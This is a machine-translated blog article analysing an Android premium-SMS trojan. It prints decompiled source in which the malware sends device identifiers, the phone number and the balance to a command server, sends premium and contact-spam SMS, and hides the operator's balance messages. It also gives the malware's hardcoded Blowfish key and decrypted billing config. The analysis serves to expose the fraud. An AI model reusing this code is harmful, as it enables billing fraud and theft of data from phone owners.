Android向けの単一SMSトロイの木馬のリバースエンジニアリングの歴史

画像

それはすべて、私の友人であるAndroidのデバイスの所有者の苦情から始まりました。 彼は、その理由は誰にもわからないので、オペレーターは常に彼からお金を引き出すと不平を言った。 オペレーターに電話した後、友人が送ったとされるプレミアムSMSのために資金が引き出されたことが判明しました。 私自身は、ゲーム/プログラム/ライブ壁紙を使用してapkをダウンロードすることを提案する不審なサイトでインターネットに繰り返し遭遇しました。インストールすると、これは単なるプレミアム番号にSMSを送信するプログラムであることがわかります。 しかし、この場合、ボタンをクリックすると、「彼は馬鹿だ」というようなプログラムのルールは、SMSは有料の番号に送信されると明確に述べており、結果として実際のプログラムへのリンクを提供するためです。



どういうわけか、ここでの状況はこの種の活動にも関係しているという疑いが忍び寄ってきたので、私はお金がまだどこに流れているのかを考え始めました。





アプリケーションの安全なインストール



そもそも、私の友人は最新のプログラムをネットワークから自分のデバイスにダウンロードした場所を忘れてしまいました。次のmobisity.ruリンクだけが揺り動かさ れました注意、サイトはマルウェアを配布しています! )。 サイトをざっと調べて、そこからAPKを取り出しました。

読者が背景を理解したので、最も興味深い部分であるアプリケーション分析に進むことができます。 アプリケーションの安全なインストールから始めましょう。つまり、エミュレータにインストールし、どのように動作するかを見てみましょう。



標準のAndroidエミュレーター、できればバージョン2.2以降(アプリケーションは古いバージョンにはインストールされません)を起動します。これのために、AVD(Android Virtual Device Manager)を介してエミュレーターを起動し、コマンドを実行します
adb install mp3.apk
      
      





アプリケーションのリストには、トロイの木馬の名前の下に、対応するアイコンが表示されています。







「インストール」のプロセスを開始して観察します。その後、「次へ」ボタンをクリックするように求められます







ハードキーボタンメニューを押すと、ルールを開いてボタンをクリックすると、SMSが有料番号に送信されることを確認できます。 まあ、大丈夫、これまでのところ、それは「自分をだます」のカテゴリからです。 では、資金は常にどこに流れていますか? まだ明確ではありませんが、さらに調査します。



コード分​​析



分析には、 jd-guidex2jarおよびapktoolのツールを使用しました



まず、apktoolを使用してAPKを分析し、プロジェクトの構造を確認します。 これを行うには、コマンドを実行します
 apktool d mp3.apk
      
      



プロジェクトの内部構造の分析は、 アセットの data.xmlファイルが理解できないフォルダーにあることを除いて、何も興味深いものではありませんが、明らかにいくつかのデータが格納されていますが、一見するとデータを簡単に分析できないため、暗号化されています。



さて、残っているのはコードを見るだけです。そのためにdex2jarを使用します 。 お気に入りのアーカイバを使用して、 classs.dexという名前でAPKからファイルを抽出し、dex2jarを使用してjarファイルに変換します。 結果のjarはjd-guiプログラムで開く必要があります。 これで、アプリケーションコードのすべて(またはほとんどすべて)ができました。







コードを分析しようと急ぐ前に、 AndroidManifest.xmlファイルを確認することにしました。原則として、このファイルからアプリケーションに関する多くの有用な情報を取得できます。



AndroidManifest.xmlファイルの完全なリスト
 <?xml version="1.0" encoding="utf-8"?> <manifest android:versionCode="1" android:versionName="1.0" package="net.droid.installer" xmlns:android="http://schemas.android.com/apk/res/android"> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.WRITE_SMS" /> <uses-permission android:name="android.permission.READ_SMS" /> <uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.WAKE_LOCK" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> <uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" /> <uses-permission android:name="android.permission.CALL_PHONE" /> <uses-permission android:name="android.permission.READ_LOGS" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <application android:label="@string/app_name" android:icon="@drawable/icon"> <activity android:theme="@android:style/Theme.NoTitleBar" android:label="@string/app_name" android:name=".InstallActivity" android:screenOrientation="portrait" android:configChanges="keyboardHidden|orientation"> <intent-filter> <action android:name="android.intent.action.CREATE_SHORTCUT" /> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activity android:theme="@android:style/Theme.NoTitleBar" android:name=".RuleActivity" android:screenOrientation="portrait" /> <activity android:theme="@android:style/Theme.NoTitleBar" android:name=".LoaderActivity" android:screenOrientation="portrait" /> <activity android:theme="@android:style/Theme.NoTitleBar" android:name=".StartActivity" /> <receiver android:name=".StartupReceiver" android:enabled="true" android:exported="true"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> <action android:name="android.intent.action.QUICKBOOT_POWERON" /> </intent-filter> </receiver> <service android:name=".UpdateService" android:enabled="true" /> <receiver android:name=".UpdateReceiver" /> <receiver android:name=".MessageReceiver"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> <receiver android:name=".Scanner"> <intent-filter> <action android:name="android.intent.action.PACKAGE_ADDED" /> <action android:name="android.intent.action.PACKAGE_REPLACED" /> <action android:name="android.intent.action.PACKAGE_REPLACED" /> <data android:scheme="package" /> </intent-filter> </receiver> <service android:name=".USSDDumbExtendedNetworkService"> <intent-filter> <action android:name="com.android.ussd.IExtendedNetworkService" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> </service> </application> </manifest>
      
      







ファイルを見た後、StartupReceiverという名前のBroadcastReceiverに興味を持ちました。システムの起動時にコードが実行されることは明らかです。宣言されたintent-filtersはこれを示しています。



StartupReceiverコード
 package net.droid.installer; import a; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.ServiceConnection; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.os.RemoteException; import android.preference.PreferenceManager; import android.telephony.TelephonyManager; public class StartupReceiver extends BroadcastReceiver { private static ServiceConnection d = null; boolean a = false; Context b; private ac = null; public void onReceive(Context paramContext, Intent paramIntent) { this.b = paramContext; Object localObject = ((TelephonyManager)paramContext.getSystemService("phone")).getSimOperatorName(); PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putBoolean("wasreload", true).commit(); try { if ((((TelephonyManager)this.b.getSystemService("phone")).getSimOperator().toString().equals("25099")) || (((String)localObject).toLowerCase().contains("tele")) || (((String)localObject).toLowerCase().contains("    "))) d = new j(this); } catch (Exception localException1) { try { paramContext.bindService(new Intent("com.android.ussd.IExtendedNetworkService"), d, 1); label120: localObject = this.c; if (localObject != null); try { this.ca(":ON;)"); while (true) { label141: paramContext.startService(new Intent(paramContext, UpdateService.class)); return; localException1; } } catch (RemoteException localRemoteException) { break label141; } } catch (Exception localException2) { break label120; } } } }
      
      







おそらく、必要に応じて、USSD要求の操作を保証するシステムサービスを使用してバインディングがここで実行されます。 このようにトロイの木馬がユーザーのバランスを監視すると仮定するのは論理的です。

また、コードはUpdateServiceサービスが開始されていることを示しています



UpdateServiceコード
 package net.droid.installer; import android.app.AlarmManager; import android.app.PendingIntent; import android.app.Service; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.os.IBinder; import android.preference.PreferenceManager; public class UpdateService extends Service { static Context a; static String b = "http://mxclick.com/"; static int c = 60; static SharedPreferences d; static String e = b; static boolean f = false; public static void a() { SharedPreferences.Editor localEditor = d.edit(); localEditor.putBoolean("appblocked", true); localEditor.commit(); } public static void a(String paramString) { SharedPreferences.Editor localEditor = d.edit(); localEditor.putString(a.getString(2130968584), paramString); localEditor.commit(); } public IBinder onBind(Intent paramIntent) { return null; } public void onCreate() { } public void onDestroy() { super.onDestroy(); } public void onStart(Intent paramIntent, int paramInt) { super.onStart(paramIntent, paramInt); a = this; Object localObject = PreferenceManager.getDefaultSharedPreferences(this); d = (SharedPreferences)localObject; e = ((SharedPreferences)localObject).getString(getString(2130968584), b); localObject = (AlarmManager)getSystemService("alarm"); PendingIntent localPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(this, UpdateReceiver.class), 0); ((AlarmManager)localObject).setRepeating(0, System.currentTimeMillis(), 60000 * c, localPendingIntent); } public boolean onUnbind(Intent paramIntent) { return super.onUnbind(paramIntent); } }
      
      









このサービスは、起動時にIntentを設定して、AlarmManagerを使用するように設定します。これは、 UpdateReceiverと呼ばれるBroadcastReceiverを起動する信号であり、より正確には、そのメソッド-onReceiveです。



UpdateReceiverコード
 package net.droid.installer; import a; import android.app.PendingIntent; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.ServiceConnection; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.net.Uri; import android.os.PowerManager; import android.os.PowerManager.WakeLock; import android.preference.PreferenceManager; import android.telephony.SmsManager; import android.telephony.TelephonyManager; import java.util.ArrayList; public class UpdateReceiver extends BroadcastReceiver { static boolean i = false; private static ServiceConnection l = null; Context a; SharedPreferences b; boolean c = false; String d = ""; String e = ""; String f = ""; String g = ""; String h = ""; ArrayList j = new ArrayList(); private final ak = null; private String a() { return ((TelephonyManager)this.a.getSystemService("phone")).getSimOperator().toString(); } private void a(String paramString1, String paramString2) { PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(this.a, 0, new Intent("SMS_SENT"), 0); PendingIntent localPendingIntent2 = PendingIntent.getBroadcast(this.a, 0, new Intent("SMS_DELIVERED"), 0); SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, localPendingIntent1, localPendingIntent2); } public void onReceive(Context paramContext, Intent paramIntent) { this.a = paramContext; this.b = PreferenceManager.getDefaultSharedPreferences(this.a); PowerManager.WakeLock localWakeLock = ((PowerManager)paramContext.getSystemService("power")).newWakeLock(26, "ALARMSERVICE"); localWakeLock.acquire(); Object localObject = ((TelephonyManager)this.a.getSystemService("phone")).getSimOperatorName(); try { if (a().equals("25001")) a("111", "11"); while (true) { if (!PreferenceManager.getDefaultSharedPreferences(paramContext).getBoolean("appblocked", false)) { localObject = PreferenceManager.getDefaultSharedPreferences(this.a); SharedPreferences.Editor localEditor = ((SharedPreferences)localObject).edit(); if (((SharedPreferences)localObject).getBoolean("new", true)) { localEditor.putBoolean("new", false); localEditor.putLong("time", 1200000L + System.currentTimeMillis()); localEditor.commit(); } if (System.currentTimeMillis() > ((SharedPreferences)localObject).getLong("time", 0L)) new m(this).execute(new String[0]); } label191: localWakeLock.release(); return; if (a().equals("25002")) { a("000100", "b"); continue; } if ((a().equals("25099")) && (PreferenceManager.getDefaultSharedPreferences(this.a).getBoolean("wasreload", false))) { localObject = new Intent("android.intent.action.CALL", Uri.parse("tel:*102" + Uri.encode("#"))); ((Intent)localObject).addFlags(268435456); paramContext.startActivity((Intent)localObject); continue; } if (((!((String)localObject).toLowerCase().contains("tele")) && (!((String)localObject).toLowerCase().contains("    "))) || (!PreferenceManager.getDefaultSharedPreferences(this.a).getBoolean("wasreload", false))) continue; localObject = new Intent("android.intent.action.CALL", Uri.parse("tel:*105" + Uri.encode("#"))); ((Intent)localObject).addFlags(268435456); paramContext.startActivity((Intent)localObject); } } catch (Exception localException) { break label191; } } }
      
      









ここで、トロイの木馬がSMSを送信する前にユーザーの現在の残高を確認することがわかります。 さらに、 mという名前 AsyncTaskを実行し、 mxclick.com / getTask.phpスクリプトにリクエストを送信します。 スクリプトは明らかに、特定のSMSの送信が実行される希望の番号を提供します。 最後に、UpdateReceiverはSMSを送信し、それによって貧弱なユーザーのバランスを排出します。



AsyncTaskの子孫コード-クラスm
 package net.droid.installer; import android.app.Notification; import android.app.NotificationManager; import android.app.PendingIntent; import android.content.ContentResolver; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.database.Cursor; import android.net.Uri; import android.os.AsyncTask; import android.os.Build; import android.os.Build.VERSION; import android.preference.PreferenceManager; import android.provider.ContactsContract.CommonDataKinds.Phone; import android.provider.ContactsContract.Contacts; import android.telephony.TelephonyManager; import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.net.URI; import java.net.URL; import java.util.ArrayList; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.client.HttpClient; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.DefaultHttpClient; import org.json.JSONArray; import org.json.JSONObject; final class m extends AsyncTask { m(UpdateReceiver paramUpdateReceiver) { } private String a() { String str1; try { Object localObject7 = (TelephonyManager)this.aagetSystemService("phone"); Object localObject2 = ((TelephonyManager)localObject7).getDeviceId(); Object localObject4 = ((TelephonyManager)localObject7).getSimCountryIso(); Object localObject1 = new DefaultHttpClient(); Object localObject5 = ((TelephonyManager)localObject7).getLine1Number(); Object localObject3 = ((TelephonyManager)localObject7).getNetworkOperatorName(); String str3 = ((TelephonyManager)localObject7).getNetworkOperator(); String str2 = Integer.toString(Build.VERSION.SDK_INT); localObject7 = Build.MODEL; localObject2 = new URL(UpdateService.e + "getTask.php?imei=" + (String)localObject2 + "&balance=" + PreferenceManager.getDefaultSharedPreferences(this.aa).getString("balance", "0") + "&country=" + (String)localObject4 + "&phone=" + (String)localObject5 + "&op=" + (String)localObject3 + "&mnc=" + str3.substring(3) + "&mcc=" + str3.substring(0, 3) + "&model=" + (String)localObject7 + "&os=" + str2); localObject2 = new URI(((URL)localObject2).getProtocol(), ((URL)localObject2).getUserInfo(), ((URL)localObject2).getHost(), ((URL)localObject2).getPort(), ((URL)localObject2).getPath(), ((URL)localObject2).getQuery(), ((URL)localObject2).getRef()).toURL(); ((URL)localObject2).toString(); localObject1 = ((HttpClient)localObject1).execute(new HttpGet(((URL)localObject2).toString())).getEntity().getContent(); localObject4 = new BufferedReader(new InputStreamReader((InputStream)localObject1, "utf-8"), 8); localObject2 = new StringBuilder(); while (true) { localObject3 = ((BufferedReader)localObject4).readLine(); if (localObject3 == null) break; ((StringBuilder)localObject2).append((String)localObject3); } ((StringBuilder)localObject2).toString(); ((InputStream)localObject1).close(); ((BufferedReader)localObject4).close(); while (true) { try { localObject2 = new JSONArray(((StringBuilder)localObject2).toString()); int i = 0; if (i >= ((JSONArray)localObject2).length()) break; localObject3 = ((JSONArray)localObject2).getJSONObject(i); localObject4 = ((JSONObject)localObject3).getString("type"); if (!((String)localObject4).equals("1")) continue; UpdateService.f = true; UpdateReceiver.a(this.a, ((JSONObject)localObject3).getString("to_number"), ((JSONObject)localObject3).getString("message")); localObject5 = new n(this.a); localObject7 = new String[1]; localObject7[0] = "1"; ((n)localObject5).execute(localObject7); if (!((String)localObject4).equals("2")) break label742; localObject5 = this.aagetContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); if (!((Cursor)localObject5).moveToNext()) break label650; localObject7 = ((Cursor)localObject5).getString(((Cursor)localObject5).getColumnIndex("_id")); if (((Cursor)localObject5).getString(((Cursor)localObject5).getColumnIndex("has_phone_number")).equalsIgnoreCase("1")) { str2 = "true"; if (!Boolean.parseBoolean(str2)) continue; localObject7 = this.aagetContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + (String)localObject7, null, null); if (!((Cursor)localObject7).moveToNext()) break label640; this.ajadd(((Cursor)localObject7).getString(((Cursor)localObject7).getColumnIndex("data1"))); continue; } } catch (Exception localException1) { str1 = "-100"; } str2 = "false"; continue; label640: ((Cursor)localObject7).close(); continue; label650: ((Cursor)localObject5).close(); for (int j = 0; j < this.ajsize(); j++) UpdateReceiver.a(this.a, (String)this.ajget(j), ((JSONObject)localObject3).getString("message")); localObject7 = new n(this.a); Object localObject6 = new String[1]; localObject6[0] = "2"; ((n)localObject7).execute(localObject6); label742: if (((String)localObject4).equals("3")) { localObject6 = new Intent("android.intent.action.VIEW", Uri.parse(((JSONObject)localObject3).getString("open_url"))); ((Intent)localObject6).addFlags(268435456); this.aastartActivity((Intent)localObject6); localObject7 = new n(this.a); localObject6 = new String[1]; localObject6[0] = "3"; ((n)localObject7).execute(localObject6); } if (((String)localObject4).equals("4")) { UpdateService.a(((JSONObject)localObject3).getString("server_url")); localObject7 = new n(this.a); localObject6 = new String[1]; localObject6[0] = "4"; ((n)localObject7).execute(localObject6); } if (((String)localObject4).equals("5")) { localObject4 = new Notification(2130837504, ((JSONObject)localObject3).getString("title"), System.currentTimeMillis()); localObject6 = new Intent("android.intent.action.VIEW", Uri.parse(((JSONObject)localObject3).getString("urlop"))); localObject6 = PendingIntent.getActivity(this.aa, 0, (Intent)localObject6, 0); localObject7 = (NotificationManager)this.aagetSystemService("notification"); ((Notification)localObject4).setLatestEventInfo(this.aa, ((JSONObject)localObject3).getString("title"), ((JSONObject)localObject3).getString("message"), (PendingIntent)localObject6); ((Notification)localObject4).defaults = (0x1 | ((Notification)localObject4).defaults); ((Notification)localObject4).flags = (0x10 | ((Notification)localObject4).flags); ((NotificationManager)localObject7).notify(0, (Notification)localObject4); } str1++; } } catch (Exception localException2) { str1 = null; } return (String)(String)(String)(String)(String)(String)(String)str1; } }
      
      









実際、それだけです。コードをさらに分解することはできません。SMSをプレミアム番号に送信することで、ユーザーの残高を空にすることができることがわかりました。 しかし、トロイの木馬のコードを見ていると、いくつか興味深い点に出会いました。 たとえば、111からの着信SMS(MTSサービス番号)はブロックされます。したがって、ユーザーには何も聞こえず、残高が徐々にマイナスになったときは表示されません。

MessageReceiverクラスがこれを行います。AndroidManifest.xmlでの定義は次のとおりです。



  <receiver android:name=".MessageReceiver"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver>
      
      







彼は高い優先度に設定されているため、デバイスで受信メッセージを最初に処理することができます。 onReceiveメソッドの内部では、SMSが番号111から来る場合、意図がインターセプトされます。つまり、ブロードキャストメッセージはこのハンドラーで途切れ、他のアプリケーションにそれ以上進みません。



MessageReceiverコード
 package net.droid.installer; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.os.Bundle; import android.preference.PreferenceManager; import android.telephony.SmsMessage; import java.util.regex.Matcher; import java.util.regex.Pattern; public class MessageReceiver extends BroadcastReceiver { public void onReceive(Context paramContext, Intent paramIntent) { Object localObject = paramIntent.getExtras(); if (localObject != null) { localObject = (Object[])((Bundle)localObject).get("pdus"); SmsMessage[] arrayOfSmsMessage = new SmsMessage[localObject.length]; int i = 0; try { while (i < arrayOfSmsMessage.length) { arrayOfSmsMessage[i] = SmsMessage.createFromPdu((byte[])localObject[i]); if ((arrayOfSmsMessage[i].getOriginatingAddress().contains("111")) || (arrayOfSmsMessage[i].getOriginatingAddress().contains("000100"))) { Matcher localMatcher = Pattern.compile("-?\\d+").matcher(arrayOfSmsMessage[i].getDisplayMessageBody()); if (localMatcher.find()) { PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putString("balance", localMatcher.group()).commit(); if (arrayOfSmsMessage[i].getDisplayMessageBody().contains("     ")) PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putString("balance", "-" + localMatcher.group()).commit(); abortBroadcast(); } } if (UpdateService.f) { abortBroadcast(); UpdateService.f = false; } i++; } } catch (Exception localException) { } } } }
      
      









コミュニティが実際に詐欺師に行動の責任を負わせるもう1つの興味深い点は、投稿の冒頭で述べた暗号化されたデータベースです。 コードを表示すると、数字を含むファイルがECBモードのBlowfishアルゴリズムによって暗号化されていることが明らかになりました。 これは対称暗号化アルゴリズムであり、それを解読するのに適した鍵を使用しているため、何年もかかる可能性がありますが、...トロイの木馬の開発者はあまり気にしませんでした。



 public final String b(String paramString) { try { Object localObject2 = this.a.getAssets().open(paramString); Object localObject1 = new byte[((InputStream)localObject2).available()]; ((InputStream)localObject2).read(localObject1); ((InputStream)localObject2).close(); localObject2 = new SecretKeySpec("3gYX0W0GiIdT0E9y".getBytes(), aa); Cipher localCipher = Cipher.getInstance("t/c/g".replace("t", aa).replace("c", ab).replace("g", ac)); localCipher.init(2, (Key)localObject2); localObject1 = new String(localCipher.doFinal(localObject1)); return localObject1; } catch (Exception str) { while (true) { localException.printStackTrace(); String str = "err"; } } } }
      
      







よく知られたキーを使用して、Javaで数行をスケッチするだけで、ファイルが復号化されました。



短い番号、請求プレフィックス、その他のトロイの木馬の設定
 <oper> <number> <numr>8503,7202,7201,7201,7201</numr> <pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref> <mccmnc>25001</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>7204</numr> <pref>1429015599 041 122 6030</pref> <mccmnc>25002</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>8503,7202,7201,7201,7201</numr> <pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref> <mccmnc>25099</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>7202,7201,7201</numr> <pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref> <mccmnc>250</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>7204,7204,7212</numr> <pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref> <mccmnc>25503</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>3303,3303,3303</numr> <pref>427242015599 041 122 6030,427242015599 041 122 6030,427242015599 041 122 6030</pref> <mccmnc>400</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>7204,7204,7212</numr> <pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref> <mccmnc>25501</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>7204,7204,7212</numr> <pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref> <mccmnc>25505</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>3336</numr> <pref>427242015599 041 122 6030</pref> <mccmnc>257</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> </oper>
      
      









別のポイント- すべてのUSSDリクエストはバックグラウンドにあります 。つまり、トロイの木馬はユーザーのバランスを必要なだけチェックでき、何も疑わないでしょう。 どうやら、USSDリクエストのバックグラウンド実行の実装は、 Commandusサイトからトロイの木馬開発者によってコピーされました。 宿題として、読者が実装がこのサイトからコピーされた理由を理解し、コードでこれの確認を見つけるために招待されます。



おわりに



このようなアプリケーションの開発は、ロシア連邦の法律、つまりロシア連邦刑法第159条と第273条に直接違反していると言いたいと思います。 ユーザーが結果に対するすべての責任を負う抽象ボタンを押した後、残高から残高が引き出されないため、詐欺師はそれで逃げることができなくなります。 ここで、バランスは何年も壊滅する可能性があり、ユーザーは何も疑わないかもしれません。



詐欺師は、定義上、数字のコンテンツプロバイダーでもあります(違法または不正に利益を得るための直接的な支援を提供するため) 8503、7202、7201、7204、7212、3033、3336は刑事罰を受けるべきです。 ところで、これらの番号の特定のプロバイダーは、たとえばMegaphoneまたはBeelineの Webサイトで表示できます。 根拠にならないように、これらの番号を所有している関係するコンテンツプロバイダーの具体的な名前を引用しています。IncorMediaLLCSMSサービス、LLC(ジョーク オブザ デイ)Invest Telecom LLCなどです



さらに、特定の犯人に関するいくつかのデータは、トロイの木馬からのリクエストが送信されるURL、つまりmxclick.com/getTask.phpから抽出できます。 一般的に、興味のある読者は、可能であれば、詐欺師の他の痕跡を見つけようとすることができます。



個人的には、尊敬されているオペレーターMegafon、Beeline、MTS、Tele2およびその他がコンテンツプロバイダーに関して深刻な対策を講じることを望んでいます。トロイの木馬を作成し、法律の最大限の範囲で対応させます。



All Articles